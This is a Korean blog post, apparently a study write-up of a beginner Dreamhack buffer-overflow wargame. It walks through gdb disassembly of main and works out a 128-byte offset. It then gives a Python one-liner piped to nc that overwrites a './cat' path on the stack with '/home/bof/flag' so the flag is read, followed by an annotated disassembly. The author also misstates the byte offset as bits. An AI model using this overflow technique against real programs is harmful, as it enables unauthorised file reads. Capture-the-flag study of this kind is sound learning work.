시스템 해킹 스터디 - 드림핵 bof 워게임
시스템 해킹 스터디 - 드림핵 bof 워게임
드림핵 시스템 해킹 bof 워게임
초급 난이도의 시스템 해킹을 한번 시도해 보았다. 파일을 다운받은 뒤, Linux 가상 환경에 저장하고 bof 파일을 실행하여 x64 어셈블리어로 바꿔보았다.
문제에서 설명된 것과 같이 버퍼 오버플로우를 통해 flag를 얻어내려면, 우선 buffer를 초과하는 글자를 입력해 목적지까지 이동되도록 해야 한다. 이를 위해 찾아야 하는 것은, 내가 담을 글자를 입력받는 버퍼로부터 목적지까지의 거리이다.
(gdb) disassemble main
0x0000000000401391 <+0>: endbr64
0x0000000000401395 <+4>: push %rbp
0x0000000000401396 <+5>: mov %rsp,%rbp
0x0000000000401399 <+8>: sub $0x90,%rsp
0x00000000004013a0 <+15>: mov $0x0,%eax
0x00000000004013a5 <+20>: call 0x40132c <init>
0x00000000004013aa <+25>: lea -0x10(%rbp),%rax
0x00000000004013ae <+29>: movl $0x61632f2e,(%rax)
0x00000000004013b4 <+35>: movw $0x74,0x4(%rax)
0x00000000004013ba <+41>: lea 0xc6c(%rip),%rax # 0x40202d
0x00000000004013c1 <+48>: mov %rax,%rdi
0x00000000004013c4 <+51>: mov $0x0,%eax
0x00000000004013c9 <+56>: call 0x4010d0 <printf@plt>
0x00000000004013ce <+61>: lea -0x90(%rbp),%rax
0x00000000004013d5 <+68>: mov %rax,%rsi
0x00000000004013d8 <+71>: lea 0xc55(%rip),%rax # 0x402034
0x00000000004013df <+78>: mov %rax,%rdi
0x00000000004013e2 <+81>: mov $0x0,%eax
0x00000000004013e7 <+86>: call 0x401130 <__isoc99_scanf@plt>
0x00000000004013ec <+91>: lea -0x10(%rbp),%rax
0x00000000004013f0 <+95>: mov %rax,%rdi
0x00000000004013f3 <+98>: call 0x401236 <read_cat>
0x00000000004013f8 <+103>: lea -0x90(%rbp),%rax
0x00000000004013ff <+110>: mov %rax,%rsi
0x0000000000401402 <+113>: lea 0xc31(%rip),%rax # 0x40203a
0x0000000000401409 <+120>: mov %rax,%rdi
0x000000000040140c <+123>: mov $0x0,%eax
0x0000000000401411 <+128>: call 0x4010d0 <printf@plt>
0x0000000000401416 <+133>: mov $0x0,%eax
0x000000000040141b <+138>: leave
0x000000000040141c <+139>: ret
lea -0x90에서 0x90만큼 떨어진 곳부터 입력을 받고, 이곳에서부터 cat 파일이 존재하는 부분 lea -0x10(%rbp),%rax이다. 그럼 0x90-0x10까지의 거리는 128비트이다. (144-16=128)
그럼 우리는 시스템을 요청한 뒤 입력단에서 128비트까지 이동시키고 flag 파일로 가도록 cat파일을 대체하면 결과가 나올 것이다.
1
python3 -c "import sys; sys.stdout.buffer.write(b'A'*128 + b'/home/bof/flag\x00')" | nc host3.dreamhack.games 8297
이렇게 하여 128비트 이동 후 flag 파일에서 키를 얻어냈다.
정리
0x0000000000401391 <+0>: endbr64 ; 프로그램 시작 (보안 기능)
0x0000000000401395 <+4>: push %rbp ; [1단계] 이전 바닥 주소 저장
0x0000000000401396 <+5>: mov %rsp,%rbp ; 현재 스택 꼭대기를 새로운 바닥(rbp)으로 설정
0x0000000000401399 <+8>: sub $0x90,%rsp ; 스택에 144바이트(0x90) 공간 확보
0x00000000004013a0 <+15>: mov $0x0,%eax ; 리턴값 초기화
0x00000000004013a5 <+20>: call 0x40132c <init> ; 프로그램 초기 설정 함수 호출
; [2단계: 기본값 채우기 - 파일 경로 설정]
0x00000000004013aa <+25>: lea -0x10(%rbp),%rax ; 바닥(rbp)에서 16바이트 위(-0x10) 지점
0x00000000004013ae <+29>: movl $0x61632f2e,(%rax) ; "./ca" (0x61632f2e)
0x00000000004013b4 <+35>: movw $0x74,0x4(%rax) ; "t" (0x74) 추가 => "./cat" 완성!
0x00000000004013ba <+41>: lea 0xc6c(%rip),%rax ; "meow? " 문자열
0x00000000004013c1 <+48>: mov %rax,%rdi
0x00000000004013c4 <+51>: mov $0x0,%eax
0x00000000004013c9 <+56>: call 0x4010d0 <printf@plt> ; "meow? " 출력
; [3단계: 사용자 입력 받기 - 여기서 BOF 발생!]
0x00000000004013ce <+61>: lea -0x90(%rbp),%rax ; 바닥에서 144바이트 위(-0x90) 지점
0x00000000004013d5 <+68>: mov %rax,%rsi ; scanf의 입력 버퍼(v4)로 설정 (★공격 시작점)
0x00000000004013d8 <+71>: lea 0xc55(%rip),%rax ; "%s" 포맷 스트링
0x00000000004013df <+78>: mov %rax,%rdi
0x00000000004013e2 <+81>: mov $0x0,%eax
0x00000000004013e7 <+86>: call 0x401130 <__isoc99_scanf@plt> ; 사용자 입력 (144바이트 이상 입력 시 넘침!)
; [4단계: 파일 읽기 실행 - 조작된 경로를 읽게 됨]
0x00000000004013ec <+91>: lea -0x10(%rbp),%rax ; 다시 바닥에서 16바이트 위(-0x10) 지점
0x00000000004013f0 <+95>: mov %rax,%rdi ; read_cat의 인자로 전달
0x00000000004013f3 <+98>: call 0x401236 <read_cat> ; 해당 경로의 파일을 읽음
0x00000000004013f8 <+103>: lea -0x90(%rbp),%rax
0x00000000004013ff <+110>: mov %rax,%rsi
0x0000000000401402 <+113>: lea 0xc31(%rip),%rax
0x0000000000401409 <+120>: mov %rax,%rdi
0x000000000040140c <+123>: mov $0x0,%eax
0x0000000000401411 <+128>: call 0x4010d0 <printf@plt> ; 입력했던 내용을 다시 출력
0x0000000000401416 <+133>: mov $0x0,%eax ; 종료 준비
0x000000000040141b <+138>: leave ; 스택 정리
0x000000000040141c <+139>: ret ; 메인 함수 종료
This post is licensed under CC BY 4.0 by the author.